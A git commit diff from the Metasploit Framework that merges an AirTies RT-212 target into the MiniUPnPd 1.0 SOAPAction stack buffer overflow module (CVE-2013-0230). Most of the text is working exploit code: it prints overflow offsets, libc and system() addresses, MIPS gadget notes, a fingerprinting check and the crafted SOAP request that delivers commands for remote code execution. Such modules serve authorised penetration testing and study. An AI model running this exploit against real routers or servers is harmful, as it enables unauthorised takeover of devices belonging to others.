Merge branch 'jvazquez-r7-review_5280' into airties_upnpd_bof
m-1-k-3
commit
7f1f383392
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@ -1,132 +0,0 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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Rank = NormalRanking
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AirTies MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
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'Description' => %q{
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This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
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present in the SOAPAction HTTP header handling.
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},
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'Author' =>
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[
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'hdm', # Vulnerability discovery
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'Dejan Lukan', # orig Metasploit module
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'Onur ALANBEL', # exploit for Airties router
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'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module for Airties router
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'References' =>
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[
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[ 'CVE', '2013-0230' ],
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[ 'OSVDB', '89624' ],
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[ 'BID', '57608' ],
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[ 'EDB', '36839' ],
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[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
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],
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'Targets' =>
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[
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[ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
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{
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'Offset' => 2048,
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'LibcBase' => 0x2aabd000,
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'System' => 0x00031AC0,
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'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
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'ServerHeader' => "AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0" # Fingerprint
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}
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],
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],
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'DisclosureDate' => 'Mar 27 2013',
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'DefaultTarget' => 0))
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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register_options([
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Opt::RPORT(5555),
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], self.class)
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end
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def check
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "/",
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})
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if res && res.headers['Server'] == target['ServerHeader']
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return Exploit::CheckCode::Detected
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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end
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Exploit::CheckCode::Unknown
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end
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def exploit
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print_status("#{peer} - Accessing the vulnerable URL...")
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
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end
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#
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# Build and send the HTTP request
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#
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print_status("#{peer} - Sending exploit to victim #{target.name}")
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execute_cmdstager(
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:flavor => :echo
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)
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end
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def execute_command(cmd, opts)
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# Build the SOAP Exploit
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# a valid action
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sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
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sploit << rand_text_alpha_upper(target['Offset'])
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sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system
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sploit << rand_text_alpha_upper(24) # $s1 - $s6
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sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
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# 0001CC94 addiu $a0, $sp, 0x18
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# 0001CC98 move $t9, $s0
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# 0001CC9C jalr $t9
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# 0001CCA0 li $a1, 1
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sploit << rand_text_alpha_upper(24) #filler
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sploit << cmd
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# data sent in the POST body
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data =
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"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
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"<SOAP-ENV:Envelope\r\n" +
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" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
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" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
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" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
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">\r\n" +
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"<SOAP-ENV:Body>\r\n" +
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"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
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"</ns1:action>\r\n" +
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"</SOAP-ENV:Body>\r\n" +
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"</SOAP-ENV:Envelope>\r\n"
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send_request_cgi({
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'method' => 'POST',
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'uri' => "/",
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'headers' => {
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'SOAPAction' => sploit,
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},
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'data' => data,
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})
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end
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end
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@ -7,6 +7,8 @@ require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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Rank = NormalRanking
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def initialize(info = {})
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@ -19,20 +21,14 @@ class Metasploit3 < Msf::Exploit::Remote
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'Author' =>
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[
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'hdm', # Vulnerability discovery
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'Dejan Lukan' # Metasploit module
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'Dejan Lukan', # Metasploit module, debian target
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'Onur ALANBEL', # Expliot for Airties target
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'm-1-k-3' # Metasploit module, Airties target
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],
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'License' => MSF_LICENSE,
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'DefaultOptions' => { 'EXITFUNC' => 'process', },
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# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
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# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
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# of the program is never reached)
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'Payload' =>
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{
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'Space' => 2060,
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'BadChars' => "\x00\x22",
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'DisableNops' => true
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},
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_MIPSBE],
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'References' =>
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[
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[ 'CVE', '2013-0230' ],
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@ -40,14 +36,39 @@ class Metasploit3 < Msf::Exploit::Remote
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[ 'BID', '57608' ],
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[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
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],
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'Targets' =>
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
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{
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'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
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'Offset' => 2123
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'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
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'Offset' => 2123,
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'Arch' => ARCH_X86,
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# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
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# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
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# of the program is never reached)
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'Payload' =>
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{
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'Space' => 2060,
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'BadChars' => "\x00\x22"
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},
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:callback => :target_debian
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}
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],
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[ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
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{
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'Offset' => 2048,
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'LibcBase' => 0x2aabd000,
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'System' => 0x00031AC0,
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'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
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'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
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'Arch' => ARCH_MIPSBE,
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:callback => :target_airties
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}
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]
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],
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'DefaultTarget' => 0,
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'Privileged' => false,
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@ -57,9 +78,40 @@ class Metasploit3 < Msf::Exploit::Remote
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register_options([
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Opt::RPORT(5555),
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], self.class)
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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end
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def check
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => '/'
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})
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Safe
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end
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fingerprints = targets.collect { |t| t['Fingerprint'] }
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fingerprints.delete(nil)
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if res && fingerprints.include?(res.headers['Server'])
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vprint_status("Fingerprint: #{res.headers['Server']}")
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Unknown
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end
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def exploit
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unless self.respond_to?(target[:callback])
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fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
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end
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self.send(target[:callback])
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end
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def target_debian
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#
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# Build the SOAP Exploit
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#
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@ -108,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
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#
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# Build and send the HTTP request
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#
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print_status("Sending exploit to victim #{target.name} at ...")
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print_status("Sending exploit to victim #{target.name}...")
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send_request_cgi({
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'method' => 'POST',
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'uri' => "/",
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@ -121,4 +173,53 @@ class Metasploit3 < Msf::Exploit::Remote
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# disconnect from the server
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disconnect
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end
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def target_airties
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print_status("Sending exploit to victim #{target.name}...")
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execute_cmdstager(
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:flavor => :echo
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)
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end
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def execute_command(cmd, opts)
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# Build the SOAP Exploit
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# a valid action
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sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
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sploit << rand_text_alpha_upper(target['Offset'])
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sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system
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sploit << rand_text_alpha_upper(24) # $s1 - $s6
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sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
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# 0001CC94 addiu $a0, $sp, 0x18
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# 0001CC98 move $t9, $s0
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# 0001CC9C jalr $t9
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# 0001CCA0 li $a1, 1
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sploit << rand_text_alpha_upper(24) #filler
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sploit << cmd
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# data sent in the POST body
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data =
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"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
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"<SOAP-ENV:Envelope\r\n" +
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" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
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" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
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" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
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">\r\n" +
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"<SOAP-ENV:Body>\r\n" +
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"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
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"</ns1:action>\r\n" +
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"</SOAP-ENV:Body>\r\n" +
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"</SOAP-ENV:Envelope>\r\n"
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send_request_cgi({
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'method' => 'POST',
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'uri' => '/',
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'headers' =>
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{
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'SOAPAction' => sploit,
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},
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'data' => data
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})
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end
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end
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